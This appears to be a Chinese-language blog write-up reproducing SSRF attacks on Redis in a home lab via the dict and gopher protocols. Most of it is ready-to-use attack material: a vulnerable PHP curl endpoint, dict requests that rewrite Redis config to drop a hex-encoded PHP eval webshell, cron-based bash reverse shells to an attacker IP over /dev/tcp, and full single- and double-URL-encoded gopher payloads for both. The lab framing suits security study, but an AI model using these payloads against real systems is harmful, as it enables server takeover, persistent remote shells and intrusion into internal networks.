SSRF之利用dict和gopher吊打Redis

写在前面

SSRF打Redis也是老生常谈的东西了，这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章，主要是对webshell和sshkey的写入进行复现，做一点小笔记。

准备环境

centos：有计划任务服务、redis4.x版本

kali：作为攻击机，模拟vps

物理机：phpstudy+ssrf.php

redis4.x下载

wget http://download.redis.io/releases/redis-4.0.11.tar.gz

$ tar xzf redis-4.0.11.tar.gz

$ cd redis-4.0.11

$ make

# centos需要提权安装make和gcc依赖包

yum install make

yum install gcc

SSRF漏洞代码

网上找了一份demo

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_GET['url']);

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);

curl_close($ch);

?>

探测漏洞

首先验证SSRF是否存在，可以通过获取远程服务器上的一些资源(比如图片)，看看响应包是否能抓到，如果目标机能出网直接DNSLOG就能拿到真实IP。

(当然用dict协议也可以)

GET /ssrf/ssrf.php?url=http://clmppw.dnslog.cn HTTP/1.1

Host: 192.168.124.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

dict协议利用

dict进行端口探测

抓包将端口那里设为要爆破的参数

可以事先准备个端口字典，根据Length升序即可

dict打Redis之写webshell

先INFO探测是否设置口令，比如下图提示就是有的

照样可以Inturder模块爆破去，注意用 : 代替 空格

注意变量后面与 HTTP/1.1 一定要有空格

更改rdb文件的目录至网站目录下

url=dict://192.168.124.153:6380/config:set:dir:/var/www/html

将rdb文件名dbfilename改为webshell的名字

url=dict://192.168.124.153:6380/config:set:dbfilename:webshell.php

如果存在payload被转义或有过滤情况，可利用16进制，写入webshell

GET /ssrf/ssrf.php?url=dict://192.168.124.153:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e"

清空一下数据， 试试写一句话能不能连上

GET /ssrf/ssrf.php?url=dict://192.168.124.153:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e"

靶机redis有成功写入，注意最后写save刷新缓存。

蚁剑连接

dict打Redis之计划任务反弹shell

因为利用redis去ubuntu写总会有很多玄学问题，这里就用上面准备的centos的redis环境。

set 1 '\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n'

转换一下即：

url=dict://192.168.124.153:6380/set:shell:"\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.124.141/2333\x200\x3e\x261\n\n"

但还要注意这里不能够这么写：\x5c 而应该直接就 \n，也不要写\r\n 因为linux换行符就是\n你写\r反而可能会出现参数污染

gopher协议利用

gopher写入webshell

这里利用sec_tools生成gopher协议的payload

使用方法：

redis.cmd写入攻击所需的redis指令

运行 redis-over-gopher.py 得到payload

根据目标信息把ip和port换一下即可

如果这里使用的是curl命令(比如在命令行curl + gopher)url编码一次即可。也就是用下面的payload就可以

gopher://192.168.124.153:6380/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%31%33%0d%0a%73%68%65%6c%6c%5f%73%65%63%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

如果是web端的参数有ssrf，需要url编码两次才可以打进去，只编码一次时 ？ 会作为干扰使得后面payload打不进去。编码时只把特殊符号编码即可，如下：

gopher://192.168.124.153:6380/_%252a%2531%250d%250a%2524%2538%250d%250a%2566%256c%2575%2573%2568%2561%256c%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2533%250d%250a%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2531%2533%250d%250a%2573%2568%2565%256c%256c%255f%2573%2565%2563%252e%2570%2568%2570%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2538%250d%250a%2577%2565%2562%2573%2568%2565%256c%256c%250d%250a%2524%2531%2538%250d%250a%253c%253f%2570%2568%2570%2520%2570%2568%2570%2569%256e%2566%256f%2528%2529%253b%253f%253e%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2573%2561%2576%2565%250d%250a

写入成功。

gopher定时任务反弹shell

关于定时任务：

centos： 在/var/spool/cron/root 或 /etc/crontab

ubuntu: 在/var/spool/cron/crontabs/root 或 /etc/crontab

Ubuntu这个计划任务吧，利用redis写入总会出现问题，这里使用centos的环境。

与dict打redis类似先将弹shell语句写入 redis.cmd

flushall

config set dir /var/spool/cron

config set dbfilename root

set shell "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.124.

141/2333 0>&1\n\n"

save

运行redis-over-gopher.py生成payload，更改payload中的ip和port

gopher://192.168.124.128:6380/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%35%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%35%0d%0a%73%68%65%6c%6c%0d%0a%24%36%30%0d%0a%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%34%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

同样的，如果不是利用curl的话，直接打需要再次url编码。

gopher://192.168.124.128:6380/_%252a%2531%250d%250a%2524%2538%250d%250a%2566%256c%2575%2573%2568%2561%256c%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2535%250d%250a%252f%2576%2561%2572%252f%2573%2570%256f%256f%256c%252f%2563%2572%256f%256e%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2534%250d%250a%2572%256f%256f%2574%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2535%250d%250a%2573%2568%2565%256c%256c%250d%250a%2524%2536%2530%250d%250a%25%5c%256e%25%5c%256e%252a%252f%2531%2520%252a%2520%252a%2520%252a%2520%252a%2520%2562%2561%2573%2568%2520%252d%2569%2520%253e%2526%2520%252f%2564%2565%2576%252f%2574%2563%2570%252f%2531%2539%2532%252e%2531%2536%2538%252e%2531%2532%2534%252e%2531%2534%2531%2520%2530%253e%2526%2531%25%5c%256e%25%5c%256e%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2573%2561%2576%2565%250d%250a

参考文章